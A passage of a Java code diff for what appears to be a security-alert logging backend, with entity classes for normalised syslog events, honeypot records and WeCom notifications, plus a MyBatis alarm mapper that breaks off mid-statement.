private String srcCity;
|
||||
private String srcLon;
|
||||
private String httpMethod;
|
||||
private String httpHost;
|
||||
private String httpReqHeader;
|
||||
private String httpReqBody;
|
||||
private String httpRespHeader;
|
||||
private String httpRespBody;
|
||||
private String fileType;
|
||||
private String fileMd5;
|
||||
private String fileSize;
|
||||
private String process;
|
||||
private Long startTime;
|
||||
private String action;
|
||||
private String attackerRegion;
|
||||
private Long endTime;
|
||||
private Long fileCreatedTime;
|
||||
private Long fileModifiedTime;
|
||||
private String tcMiguanScanPort;
|
||||
private String processPath;
|
||||
private String parentProcessPath;
|
||||
private String gname;
|
||||
private String exeName;
|
||||
private String exePath;
|
||||
private Long loginTime;
|
||||
private Long loginTimes;
|
||||
private String checkItem;
|
||||
private String checkType;
|
||||
private String attackerIp;
|
||||
private Long attackerPort;
|
||||
private String victimIp;
|
||||
private Long victimPort;
|
||||
private String attackerCity;
|
||||
private String attackerLon;
|
||||
private String attackerLat;
|
||||
private String victimCountry;
|
||||
private String victimRegion;
|
||||
private String victimCity;
|
||||
private String victimLon;
|
||||
private String victimLat;
|
||||
private String originEventId;
|
||||
private String originEventName;
|
||||
private String originEventCategory;
|
||||
private String originEventLevel;
|
||||
private String originAttackChain;
|
||||
private String engineType;
|
||||
private String evilPayload;
|
||||
private String httpRespStatus;
|
||||
private String dnsQuery;
|
||||
private String dnsQueryType;
|
||||
private String dnsTtl;
|
||||
private String dnsAnswer;
|
||||
private String dnsSubdomains;
|
||||
private String fileSha256;
|
||||
private String fileSsdeep;
|
||||
private String victimCountryCode;
|
||||
private String httpXffIp;
|
||||
private String tcMiguanClass;
|
||||
private String pid;
|
||||
private String ppid;
|
||||
private String processName;
|
||||
private String backdoorType;
|
||||
private String tty;
|
||||
private String sudoUser;
|
||||
private String sudoGroup;
|
||||
private String originEventType;
|
||||
private String destDomain;
|
||||
private String shellCmdline;
|
||||
private String parentCmdline;
|
||||
private String attackChain;
|
||||
private String processTree;
|
||||
private String hostFileSha256;
|
||||
private String hostFileMd5;
|
||||
private String hostFileSize;
|
||||
private String hostFileType;
|
||||
private String destCountry;
|
||||
private String destCountryCode;
|
||||
private String logOrigin;
|
||||
private String destRegion;
|
||||
private String srcLat;
|
||||
private String destRegionCode;
|
||||
private String destCity;
|
||||
private String destLon;
|
||||
private String destLat;
|
||||
private Integer eventCategory;
|
||||
private Integer attackResult;
|
||||
private String probeIp;
|
||||
private String deviceIp;
|
||||
private String deviceManufacturer;
|
||||
private String deviceName;
|
||||
private String productName;
|
||||
private String id1;
|
||||
private Long count;
|
||||
private String countReason;
|
||||
private Integer eventType;
|
||||
private String protocol;
|
||||
private String shellCmd;
|
||||
private String parentName;
|
||||
private String hostFilePath;
|
||||
private String uid;
|
||||
private Integer fall;
|
||||
private String tcMiguanServerIp;
|
||||
private Integer devType;
|
||||
private Integer collectMethod;
|
||||
private Integer fieldCateId;
|
||||
private Integer deviceType;
|
||||
private String tcMiguanClientIp;
|
||||
private String tcMiguanName;
|
||||
private Long originTotalPackages;
|
||||
private Long originTotalBytes;
|
||||
private Long originPeakPackagesRate;
|
||||
private Long originPeakBytesRate;
|
||||
private Long originPeakFlowsRate;
|
||||
private String aptOrgname;
|
||||
private String aptOrgmsg;
|
||||
private String mailMessageId;
|
||||
private String mailBcc;
|
||||
private String mailSize;
|
||||
private String mailAttachHashcode;
|
||||
private String mailUrl;
|
||||
private String mailCc;
|
||||
private String algorithm;
|
||||
private String miningpoolIp;
|
||||
private String processMd5;
|
||||
private String pprocessMd5;
|
||||
private String sourceServername;
|
||||
private String originSourceServername;
|
||||
private String mailFilename;
|
||||
private String dstUploadAppname;
|
||||
private Long targetPort;
|
||||
private String gid;
|
||||
private String originUid;
|
||||
private String originGid;
|
||||
private Long targetPorts;
|
||||
private String tcMiguanName1;
|
||||
private String tcMiguanClass1;
|
||||
private Long etlTime;
|
||||
private String tcMiguanScanPort2;
|
||||
private String desipSecurityScope;
|
||||
private String srcipSecurityScope;
|
||||
private Long collectTimeTs;
|
||||
private String tcMiguanScanPort1;
|
||||
private String srcDevName;
|
||||
private String collectProtocol;
|
||||
private String destinationSystemType;
|
||||
private String destinationSystem;
|
||||
private String etlHost;
|
||||
private Integer normalizeRuleId;
|
||||
private String normalizeRuleName;
|
||||
private String syslogUuid;
|
||||
private String syslogTopic;
|
||||
|
||||
}
|
||||
+381
@@ -0,0 +1,381 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.Data;
|
||||
import java.math.BigDecimal;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
public class SyslogNormalData {
|
||||
private String id;
|
||||
private LocalDateTime createdAt;
|
||||
private LocalDateTime logTime;
|
||||
private Integer deviceId;
|
||||
private String webshellType;
|
||||
private String vuirsType;
|
||||
private String vuirsUrl;
|
||||
private String classFilename;
|
||||
private String classPath;
|
||||
private String parentClass;
|
||||
private String jarPath;
|
||||
private String classMd5;
|
||||
private String classLoader;
|
||||
private String classHashcode;
|
||||
private String classLoaderHashcode;
|
||||
private String tcNameip;
|
||||
private String performSql;
|
||||
private String tcAccount;
|
||||
private String tcAppname;
|
||||
private String processUname;
|
||||
private String pProcessUname;
|
||||
private String containerName;
|
||||
private String containerId;
|
||||
private String httpRespServer;
|
||||
private Long srcipId;
|
||||
private String cdnip;
|
||||
private String natip;
|
||||
private String mailSender;
|
||||
private String mailReceiver;
|
||||
private String vpnMac;
|
||||
private String vpnOs;
|
||||
private String vpnUser;
|
||||
private String vpnGroupname;
|
||||
private String vpnAccessIp;
|
||||
private Boolean destIpApt;
|
||||
private String originAttackResult;
|
||||
private String description;
|
||||
private String solution;
|
||||
private String attackCause;
|
||||
private String username;
|
||||
private String tcFlowId;
|
||||
private String loginResult;
|
||||
private String cmdline;
|
||||
private String originAttackAction;
|
||||
private String victimDomain;
|
||||
private String vpnDeviceid;
|
||||
private String vpnAccessAction;
|
||||
private Long fileAccessTime;
|
||||
private String fileName;
|
||||
private String tcClass;
|
||||
private String tcName2;
|
||||
private Long loginLasttime;
|
||||
private String originPermissions;
|
||||
private String beginPermissions;
|
||||
private Long printTime;
|
||||
private String printer;
|
||||
private String printerType;
|
||||
private Long printPages;
|
||||
private Long printCopies;
|
||||
private String srcDevice;
|
||||
private String dstDevice;
|
||||
private String srcFile;
|
||||
private String srcFileType;
|
||||
private String srcFilePath;
|
||||
private String dstFile;
|
||||
private String dstFileType;
|
||||
private String dstFilePath;
|
||||
private String dlpPolicyName;
|
||||
private String dlpPolicyType;
|
||||
private String dstUploadUrl;
|
||||
private String processUuid;
|
||||
private String pProcessUuid;
|
||||
private String env;
|
||||
private String bruteForceService;
|
||||
private String vuirsName;
|
||||
private Long httpReqLength;
|
||||
private String httpReqContentType;
|
||||
private String tcScanPort;
|
||||
private String tcLabels;
|
||||
private String httpRespContentType;
|
||||
private String dnsMsgType;
|
||||
private String dnsAnswerLength;
|
||||
private Boolean dnsIoc;
|
||||
private BigDecimal txBytes;
|
||||
private BigDecimal rxBytes;
|
||||
private BigDecimal allBytes;
|
||||
private Long durationTime;
|
||||
private String mailAttachName;
|
||||
private String mailSubject;
|
||||
private String mailMessage;
|
||||
private String mailSendServer;
|
||||
private String mailAgent;
|
||||
private String tlsVersion;
|
||||
private String tlsServerCert;
|
||||
private String tlsServerSuite;
|
||||
private String tlsClientSuitesLen;
|
||||
private String tlsJa3;
|
||||
private String tlsJa3s;
|
||||
private String vpnAccessPort;
|
||||
private String logTopic;
|
||||
private Long collectTime;
|
||||
private Boolean srcIsIntranetip;
|
||||
private Boolean srcIpIoc;
|
||||
private Boolean srcIpApt;
|
||||
private String srcipName;
|
||||
private String tcClient;
|
||||
private Long srcipOrganizationId;
|
||||
private Boolean destIpIntranetip;
|
||||
private Boolean destIpIoc;
|
||||
private Long desipId;
|
||||
private String desipName;
|
||||
private String tcHostip;
|
||||
private Long desipOrganizationId;
|
||||
private String originConfidence;
|
||||
private String originMalscore;
|
||||
private String attackerIcampaign;
|
||||
private Long attackerHostAssetId;
|
||||
private Long attackerOrganizationId;
|
||||
private Long victimHostAssetId;
|
||||
private Long victimOrganizationId;
|
||||
private Long logoutTime;
|
||||
private String httpReqLine;
|
||||
private String desipSecurityScopeId;
|
||||
private String srcipSecurityScopeId;
|
||||
private Long httpRespLength;
|
||||
private String tcAttackType;
|
||||
private String tcRealip;
|
||||
private String attackerIpLists;
|
||||
private String loginPassword;
|
||||
private String detail;
|
||||
private String attackerCountryCode;
|
||||
private String attackerRegionCode;
|
||||
private String victimRegionCode;
|
||||
private String payload;
|
||||
private String httpReferer;
|
||||
private String httpUserAgent;
|
||||
private String httpSession;
|
||||
private String httpQueryString;
|
||||
private String filePath;
|
||||
private String filePermission;
|
||||
private String loginAbnormalType;
|
||||
private String fileTag;
|
||||
private String filePlatform;
|
||||
private String targetIp;
|
||||
private String collectDate;
|
||||
private String tcClientIp;
|
||||
private String tcServerIp;
|
||||
private String tcExternalip;
|
||||
private Long httpStatusCode;
|
||||
private String deviceDomian;
|
||||
private String srcIpStr;
|
||||
private String srcPortStr;
|
||||
private String destIpStr;
|
||||
private String destPortStr;
|
||||
private String pcap;
|
||||
private String ioc;
|
||||
private String maliciousFamily;
|
||||
private String vulnCve;
|
||||
private String aliyunType;
|
||||
private String attackerHostAssetName;
|
||||
private String attackerOrganizationName;
|
||||
private String ctId;
|
||||
private String cveList;
|
||||
private String desipOrganizationName;
|
||||
private String destIpGroup;
|
||||
private String fileGid;
|
||||
private String fileOwner;
|
||||
private String fileOwnergroup;
|
||||
private String fileUid;
|
||||
private String httpRespCookie;
|
||||
private String originRuleId;
|
||||
private String originRuleName;
|
||||
private String serviceName;
|
||||
private String srcIpAssetGroup;
|
||||
private String srcipOrganizationName;
|
||||
private String victimHostAssetName;
|
||||
private Long httpRespCodes;
|
||||
private String victimOrganizationName;
|
||||
private String tcType;
|
||||
private String direction;
|
||||
private String httpReqCookie;
|
||||
private String httpReqProtocol;
|
||||
private String httpReqHeaderRaw;
|
||||
private String httpUrl;
|
||||
private String uname;
|
||||
private String originHostname;
|
||||
private String originOs;
|
||||
private String originAgentMac;
|
||||
private String originHostId;
|
||||
private String originAgentVersion;
|
||||
private String originAgentId;
|
||||
private String originAgentName;
|
||||
private String originWorkGroup;
|
||||
private String originAssetGroup;
|
||||
private Long originLocalPort;
|
||||
private String originAgentIp;
|
||||
private String originInternalIp;
|
||||
private String originExternalIp;
|
||||
private String originLocalAddr;
|
||||
private Long agentId;
|
||||
private String agentName;
|
||||
private String tcTitle;
|
||||
private String logId;
|
||||
private LocalDateTime eventDate;
|
||||
private Long eventTimeTs;
|
||||
private Integer eventLevel;
|
||||
private String srcIp;
|
||||
private Long srcPort;
|
||||
private String destIp;
|
||||
private Long destPort;
|
||||
private Long eventTime;
|
||||
private String attackerCountry;
|
||||
private String srcMac;
|
||||
private String destMac;
|
||||
private String proto;
|
||||
private Long devId;
|
||||
private Long createdTime;
|
||||
private String srcCountry;
|
||||
private String srcCountryCode;
|
||||
private String srcRegion;
|
||||
private String srcRegionCode;
|
||||
private String srcCity;
|
||||
private String srcLon;
|
||||
private String httpMethod;
|
||||
private String httpHost;
|
||||
private String httpReqHeader;
|
||||
private String httpReqBody;
|
||||
private String httpRespHeader;
|
||||
private String httpRespBody;
|
||||
private String fileType;
|
||||
private String fileMd5;
|
||||
private String fileSize;
|
||||
private String process;
|
||||
private Long startTime;
|
||||
private String action;
|
||||
private String attackerRegion;
|
||||
private Long endTime;
|
||||
private Long fileCreatedTime;
|
||||
private Long fileModifiedTime;
|
||||
private String tcMiguanScanPort;
|
||||
private String processPath;
|
||||
private String parentProcessPath;
|
||||
private String gname;
|
||||
private String exeName;
|
||||
private String exePath;
|
||||
private Long loginTime;
|
||||
private Long loginTimes;
|
||||
private String checkItem;
|
||||
private String checkType;
|
||||
private String attackerIp;
|
||||
private Long attackerPort;
|
||||
private String victimIp;
|
||||
private Long victimPort;
|
||||
private String attackerCity;
|
||||
private String attackerLon;
|
||||
private String attackerLat;
|
||||
private String victimCountry;
|
||||
private String victimRegion;
|
||||
private String victimCity;
|
||||
private String victimLon;
|
||||
private String victimLat;
|
||||
private String originEventId;
|
||||
private String originEventName;
|
||||
private String originEventCategory;
|
||||
private String originEventLevel;
|
||||
private String originAttackChain;
|
||||
private String engineType;
|
||||
private String evilPayload;
|
||||
private String httpRespStatus;
|
||||
private String dnsQuery;
|
||||
private String dnsQueryType;
|
||||
private String dnsTtl;
|
||||
private String dnsAnswer;
|
||||
private String dnsSubdomains;
|
||||
private String fileSha256;
|
||||
private String fileSsdeep;
|
||||
private String victimCountryCode;
|
||||
private String httpXffIp;
|
||||
private String tcMiguanClass;
|
||||
private String pid;
|
||||
private String ppid;
|
||||
private String processName;
|
||||
private String backdoorType;
|
||||
private String tty;
|
||||
private String sudoUser;
|
||||
private String sudoGroup;
|
||||
private String originEventType;
|
||||
private String destDomain;
|
||||
private String shellCmdline;
|
||||
private String parentCmdline;
|
||||
private String attackChain;
|
||||
private String processTree;
|
||||
private String hostFileSha256;
|
||||
private String hostFileMd5;
|
||||
private String hostFileSize;
|
||||
private String hostFileType;
|
||||
private String destCountry;
|
||||
private String destCountryCode;
|
||||
private String logOrigin;
|
||||
private String destRegion;
|
||||
private String srcLat;
|
||||
private String destRegionCode;
|
||||
private String destCity;
|
||||
private String destLon;
|
||||
private String destLat;
|
||||
private Integer eventCategory;
|
||||
private Integer attackResult;
|
||||
private String probeIp;
|
||||
private String deviceIp;
|
||||
private String deviceManufacturer;
|
||||
private String deviceName;
|
||||
private String productName;
|
||||
private String id1;
|
||||
private Long count;
|
||||
private String countReason;
|
||||
private Integer eventType;
|
||||
private String protocol;
|
||||
private String shellCmd;
|
||||
private String parentName;
|
||||
private String hostFilePath;
|
||||
private String uid;
|
||||
private Integer fall;
|
||||
private String tcMiguanServerIp;
|
||||
private Integer devType;
|
||||
private Integer collectMethod;
|
||||
private Integer fieldCateId;
|
||||
private Integer deviceType;
|
||||
private String tcMiguanClientIp;
|
||||
private String tcMiguanName;
|
||||
private Long originTotalPackages;
|
||||
private Long originTotalBytes;
|
||||
private Long originPeakPackagesRate;
|
||||
private Long originPeakBytesRate;
|
||||
private Long originPeakFlowsRate;
|
||||
private String aptOrgname;
|
||||
private String aptOrgmsg;
|
||||
private String mailMessageId;
|
||||
private String mailBcc;
|
||||
private String mailSize;
|
||||
private String mailAttachHashcode;
|
||||
private String mailUrl;
|
||||
private String mailCc;
|
||||
private String algorithm;
|
||||
private String miningpoolIp;
|
||||
private String processMd5;
|
||||
private String pprocessMd5;
|
||||
private String sourceServername;
|
||||
private String originSourceServername;
|
||||
private String mailFilename;
|
||||
private String dstUploadAppname;
|
||||
private Long targetPort;
|
||||
private String gid;
|
||||
private String originUid;
|
||||
private String originGid;
|
||||
private Long targetPorts;
|
||||
private String tcMiguanName1;
|
||||
private String tcMiguanClass1;
|
||||
private Long etlTime;
|
||||
private String tcMiguanScanPort2;
|
||||
private String desipSecurityScope;
|
||||
private String srcipSecurityScope;
|
||||
private Long collectTimeTs;
|
||||
private String tcMiguanScanPort1;
|
||||
private String srcDevName;
|
||||
private String collectProtocol;
|
||||
private String destinationSystemType;
|
||||
private String destinationSystem;
|
||||
private String etlHost;
|
||||
private Integer normalizeRuleId;
|
||||
private String normalizeRuleName;
|
||||
private String syslogUuid;
|
||||
private String syslogTopic;
|
||||
}
|
||||
+90
@@ -0,0 +1,90 @@
|
||||
package com.common.entity;
|
||||
|
||||
import javax.validation.constraints.NotBlank;
|
||||
import javax.validation.constraints.NotNull;
|
||||
|
||||
public class SyslogRequest {
|
||||
|
||||
@NotBlank(message = "IP地址不能为空")
|
||||
private String ip;
|
||||
|
||||
@NotNull(message = "端口号不能为空")
|
||||
private Integer port;
|
||||
|
||||
@NotBlank(message = "日志内容不能为空")
|
||||
private String logContent;
|
||||
|
||||
private String protocol = "UDP"; // 默认UDP协议
|
||||
private String facility = "USER"; // 设施
|
||||
private String severity = "INFO"; // 严重级别
|
||||
|
||||
// 构造函数
|
||||
public SyslogRequest() {}
|
||||
|
||||
public SyslogRequest(String ip, Integer port, String logContent) {
|
||||
this.ip = ip;
|
||||
this.port = port;
|
||||
this.logContent = logContent;
|
||||
}
|
||||
|
||||
// Getter和Setter方法
|
||||
public String getIp() {
|
||||
return ip;
|
||||
}
|
||||
|
||||
public void setIp(String ip) {
|
||||
this.ip = ip;
|
||||
}
|
||||
|
||||
public Integer getPort() {
|
||||
return port;
|
||||
}
|
||||
|
||||
public void setPort(Integer port) {
|
||||
this.port = port;
|
||||
}
|
||||
|
||||
public String getLogContent() {
|
||||
return logContent;
|
||||
}
|
||||
|
||||
public void setLogContent(String logContent) {
|
||||
this.logContent = logContent;
|
||||
}
|
||||
|
||||
public String getProtocol() {
|
||||
return protocol;
|
||||
}
|
||||
|
||||
public void setProtocol(String protocol) {
|
||||
this.protocol = protocol;
|
||||
}
|
||||
|
||||
public String getFacility() {
|
||||
return facility;
|
||||
}
|
||||
|
||||
public void setFacility(String facility) {
|
||||
this.facility = facility;
|
||||
}
|
||||
|
||||
public String getSeverity() {
|
||||
return severity;
|
||||
}
|
||||
|
||||
public void setSeverity(String severity) {
|
||||
this.severity = severity;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "SyslogRequest{" +
|
||||
"ip='" + ip + '\'' +
|
||||
", port=" + port +
|
||||
", logContent='" + logContent + '\'' +
|
||||
", protocol='" + protocol + '\'' +
|
||||
", facility='" + facility + '\'' +
|
||||
", severity='" + severity + '\'' +
|
||||
'}';
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* 微信通知实体类
|
||||
* 对应表: wecom_notification
|
||||
*/
|
||||
@Data
|
||||
public class WecomNotification {
|
||||
|
||||
/** 企微通知id */
|
||||
private Long wecomNotificationId;
|
||||
|
||||
/** 用户信息 */
|
||||
private String userId;
|
||||
|
||||
/** 通知名称 */
|
||||
private String wecomNotificationName;
|
||||
|
||||
/** 通知IP */
|
||||
private String wecomNotificationIp;
|
||||
|
||||
/** 通知类型 */
|
||||
private String wecomNotificationType;
|
||||
|
||||
/** 通知等级 */
|
||||
private String wecomNotificationLevel;
|
||||
|
||||
/** 通知内容 */
|
||||
private String wecomNotificationContent;
|
||||
|
||||
/** 告警通知时间 */
|
||||
private LocalDateTime wecomNotificationTime;
|
||||
|
||||
/** 租户编号 */
|
||||
private String tenantId;
|
||||
|
||||
/** 创建部门 */
|
||||
private Long createDept;
|
||||
|
||||
/** 创建者 */
|
||||
private Long createBy;
|
||||
|
||||
/** 创建时间 */
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/** 更新者 */
|
||||
private Long updateBy;
|
||||
|
||||
/** 更新时间 */
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/** 备注 */
|
||||
private String remark;
|
||||
|
||||
/** 通知状态(0:已发送, 1:未发送) */
|
||||
private String wecomNotificationStatus;
|
||||
|
||||
public WecomNotification() {
|
||||
}
|
||||
|
||||
public WecomNotification(String wecomNotificationName, String wecomNotificationType,
|
||||
String wecomNotificationLevel, String wecomNotificationContent) {
|
||||
this.wecomNotificationName = wecomNotificationName;
|
||||
this.wecomNotificationType = wecomNotificationType;
|
||||
this.wecomNotificationLevel = wecomNotificationLevel;
|
||||
this.wecomNotificationContent = wecomNotificationContent;
|
||||
this.wecomNotificationTime = LocalDateTime.now();
|
||||
this.wecomNotificationStatus = "1"; // 默认未发送
|
||||
this.createTime = LocalDateTime.now();
|
||||
}
|
||||
}
|
||||
+260
@@ -0,0 +1,260 @@
|
||||
package com.common.entity;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* XDR Honeypot 实体类
|
||||
* 对应数据库表 xdr_honeypot
|
||||
*/
|
||||
public class XdrHoneypot {
|
||||
private Long id;
|
||||
private String vcsource;
|
||||
private String dstartTime;
|
||||
private String dtime;
|
||||
private String riskLevel;
|
||||
private String vcconnection;
|
||||
private String fileInfo;
|
||||
private String extra;
|
||||
private String vctype;
|
||||
private String agentSn;
|
||||
private String agentName;
|
||||
private String honeypotId;
|
||||
private String honeypotName;
|
||||
private String srcIp;
|
||||
private String srcPort;
|
||||
private String srcMac;
|
||||
private String destIp;
|
||||
private String destPort;
|
||||
private String proxyIp;
|
||||
private String node;
|
||||
private LocalDateTime createTime;
|
||||
|
||||
// 默认构造函数
|
||||
public XdrHoneypot() {
|
||||
this.createTime = LocalDateTime.now();
|
||||
}
|
||||
|
||||
// 带参构造函数
|
||||
public XdrHoneypot(String vcsource, String dstartTime, String dtime, String riskLevel,
|
||||
String vcconnection, String fileInfo, String extra, String vctype,
|
||||
String agentSn, String agentName, String honeypotId, String honeypotName,
|
||||
String srcIp, String srcPort, String srcMac, String destIp,
|
||||
String destPort, String proxyIp, String node) {
|
||||
this();
|
||||
this.vcsource = vcsource;
|
||||
this.dstartTime = dstartTime;
|
||||
this.dtime = dtime;
|
||||
this.riskLevel = riskLevel;
|
||||
this.vcconnection = vcconnection;
|
||||
this.fileInfo = fileInfo;
|
||||
this.extra = extra;
|
||||
this.vctype = vctype;
|
||||
this.agentSn = agentSn;
|
||||
this.agentName = agentName;
|
||||
this.honeypotId = honeypotId;
|
||||
this.honeypotName = honeypotName;
|
||||
this.srcIp = srcIp;
|
||||
this.srcPort = srcPort;
|
||||
this.srcMac = srcMac;
|
||||
this.destIp = destIp;
|
||||
this.destPort = destPort;
|
||||
this.proxyIp = proxyIp;
|
||||
this.node = node;
|
||||
}
|
||||
|
||||
// Getter 和 Setter 方法
|
||||
public Long getId() {
|
||||
return id;
|
||||
}
|
||||
|
||||
public void setId(Long id) {
|
||||
this.id = id;
|
||||
}
|
||||
|
||||
public String getVcsource() {
|
||||
return vcsource;
|
||||
}
|
||||
|
||||
public void setVcsource(String vcsource) {
|
||||
this.vcsource = vcsource;
|
||||
}
|
||||
|
||||
public String getDstartTime() {
|
||||
return dstartTime;
|
||||
}
|
||||
|
||||
public void setDstartTime(String dstartTime) {
|
||||
this.dstartTime = dstartTime;
|
||||
}
|
||||
|
||||
public String getDtime() {
|
||||
return dtime;
|
||||
}
|
||||
|
||||
public void setDtime(String dtime) {
|
||||
this.dtime = dtime;
|
||||
}
|
||||
|
||||
public String getRiskLevel() {
|
||||
return riskLevel;
|
||||
}
|
||||
|
||||
public void setRiskLevel(String riskLevel) {
|
||||
this.riskLevel = riskLevel;
|
||||
}
|
||||
|
||||
public String getVcconnection() {
|
||||
return vcconnection;
|
||||
}
|
||||
|
||||
public void setVcconnection(String vcconnection) {
|
||||
this.vcconnection = vcconnection;
|
||||
}
|
||||
|
||||
public String getFileInfo() {
|
||||
return fileInfo;
|
||||
}
|
||||
|
||||
public void setFileInfo(String fileInfo) {
|
||||
this.fileInfo = fileInfo;
|
||||
}
|
||||
|
||||
public String getExtra() {
|
||||
return extra;
|
||||
}
|
||||
|
||||
public void setExtra(String extra) {
|
||||
this.extra = extra;
|
||||
}
|
||||
|
||||
public String getVctype() {
|
||||
return vctype;
|
||||
}
|
||||
|
||||
public void setVctype(String vctype) {
|
||||
this.vctype = vctype;
|
||||
}
|
||||
|
||||
public String getAgentSn() {
|
||||
return agentSn;
|
||||
}
|
||||
|
||||
public void setAgentSn(String agentSn) {
|
||||
this.agentSn = agentSn;
|
||||
}
|
||||
|
||||
public String getAgentName() {
|
||||
return agentName;
|
||||
}
|
||||
|
||||
public void setAgentName(String agentName) {
|
||||
this.agentName = agentName;
|
||||
}
|
||||
|
||||
public String getHoneypotId() {
|
||||
return honeypotId;
|
||||
}
|
||||
|
||||
public void setHoneypotId(String honeypotId) {
|
||||
this.honeypotId = honeypotId;
|
||||
}
|
||||
|
||||
public String getHoneypotName() {
|
||||
return honeypotName;
|
||||
}
|
||||
|
||||
public void setHoneypotName(String honeypotName) {
|
||||
this.honeypotName = honeypotName;
|
||||
}
|
||||
|
||||
public String getSrcIp() {
|
||||
return srcIp;
|
||||
}
|
||||
|
||||
public void setSrcIp(String srcIp) {
|
||||
this.srcIp = srcIp;
|
||||
}
|
||||
|
||||
public String getSrcPort() {
|
||||
return srcPort;
|
||||
}
|
||||
|
||||
public void setSrcPort(String srcPort) {
|
||||
this.srcPort = srcPort;
|
||||
}
|
||||
|
||||
public String getSrcMac() {
|
||||
return srcMac;
|
||||
}
|
||||
|
||||
public void setSrcMac(String srcMac) {
|
||||
this.srcMac = srcMac;
|
||||
}
|
||||
|
||||
public String getDestIp() {
|
||||
return destIp;
|
||||
}
|
||||
|
||||
public void setDestIp(String destIp) {
|
||||
this.destIp = destIp;
|
||||
}
|
||||
|
||||
public String getDestPort() {
|
||||
return destPort;
|
||||
}
|
||||
|
||||
public void setDestPort(String destPort) {
|
||||
this.destPort = destPort;
|
||||
}
|
||||
|
||||
public String getProxyIp() {
|
||||
return proxyIp;
|
||||
}
|
||||
|
||||
public void setProxyIp(String proxyIp) {
|
||||
this.proxyIp = proxyIp;
|
||||
}
|
||||
|
||||
public String getNode() {
|
||||
return node;
|
||||
}
|
||||
|
||||
public void setNode(String node) {
|
||||
this.node = node;
|
||||
}
|
||||
|
||||
public LocalDateTime getCreateTime() {
|
||||
return createTime;
|
||||
}
|
||||
|
||||
public void setCreateTime(LocalDateTime createTime) {
|
||||
this.createTime = createTime;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "XdrHoneypot{" +
|
||||
"id=" + id +
|
||||
", vcsource='" + vcsource + '\'' +
|
||||
", dstartTime='" + dstartTime + '\'' +
|
||||
", dtime='" + dtime + '\'' +
|
||||
", riskLevel='" + riskLevel + '\'' +
|
||||
", vcconnection='" + vcconnection + '\'' +
|
||||
", fileInfo='" + fileInfo + '\'' +
|
||||
", extra='" + extra + '\'' +
|
||||
", vctype='" + vctype + '\'' +
|
||||
", agentSn='" + agentSn + '\'' +
|
||||
", agentName='" + agentName + '\'' +
|
||||
", honeypotId='" + honeypotId + '\'' +
|
||||
", honeypotName='" + honeypotName + '\'' +
|
||||
", srcIp='" + srcIp + '\'' +
|
||||
", srcPort='" + srcPort + '\'' +
|
||||
", srcMac='" + srcMac + '\'' +
|
||||
", destIp='" + destIp + '\'' +
|
||||
", destPort='" + destPort + '\'' +
|
||||
", proxyIp='" + proxyIp + '\'' +
|
||||
", node='" + node + '\'' +
|
||||
", createTime=" + createTime +
|
||||
'}';
|
||||
}
|
||||
}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
package com.common.mapper;
|
||||
|
||||
import com.common.entity.Alarm;
|
||||
import org.apache.ibatis.annotations.*;
|
||||
import java.util.List;
|
||||
|
||||
|
||||
@Mapper
|
||||
public interface AlarmMapper {
|
||||
|
||||
/**
|
||||
* 批量插入告警数据
|
||||
*/
|
||||
@Insert({"<script>",
|
||||
"INSERT INTO alarm (",
|
||||
"id, created_at, alarm_name, alarm_level, alarm_type, ",
|
||||
"alarm_major_type, alarm_minor_type,alarm_area_id, attack_ip, victim_ip, victim_web_url, ",
|
||||
"device_id, comment,origin_log_ids,log_start_at, log_end_at, window_time, http_status, ",
|
||||
"attack_port, victim_port, attack_method, etl_time, log_count, ",
|
||||
"attack_chain_phase, disposition_advice, attack_direction, ",
|
||||
"judged_state, disposed_state, attack_result, fall, payload, dns_info, engine_type, " ,
|
||||
"http_req_header , http_req_body,http_resp_header , http_resp_body ",
|
||||
") VALUES ",
|
||||
"<foreach collection='list' item='item' separator=','>",
|
||||
"( #{item.id}, #{item.createdAt}, #{item.alarmName}, #{item.alarmLevel}, ",
|
||||
"#{item.alarmType}, #{item.alarmMajorType}, #{item.alarmMinorType}, #{item.alarmAreaId}, ",
|
||||
"#{item.attackIp, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.victimIp, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.victimWebUrl, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.deviceId, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, ",
|
||||
"#{item.comment}, " ,
|
||||
"#{item.originLogIds, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.logStartAt}, #{item.logEndAt}, #{item.windowTime}, #{item.httpStatus}, ",
|
||||
"#{item.attackPort, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, ",
|
||||
"#{item.victimPort, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, ",
|
||||
"#{item.attackMethod}, #{item.etlTime}, #{item.logCount}, ",
|
||||
"#{item.attackChainPhase, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, ",
|
||||
"#{item.dispositionAdvice}, #{item.attackDirection}, ",
|
||||
"#{item.judgedState}, #{item.disposedState}, #{item.attackResult}, #{item.fall}, ",
|
||||
"#{item.payload},#{item.dnsInfo}, #{item.engineType}, ",
|
||||
"#{item.httpReqHeader, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.httpReqBody, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.httpRespHeader, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.httpRespBody, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler})",
|
||||
"</foreach>",
|
||||
"</script>"})
|
||||
void batchInsert(@Param("list") List<Alarm> alarmList);
|
||||
|
||||
/**
|
||||
* 单条插入告警数据
|
||||
*/
|
||||
@Insert("INSERT INTO alarm (" +
|
||||
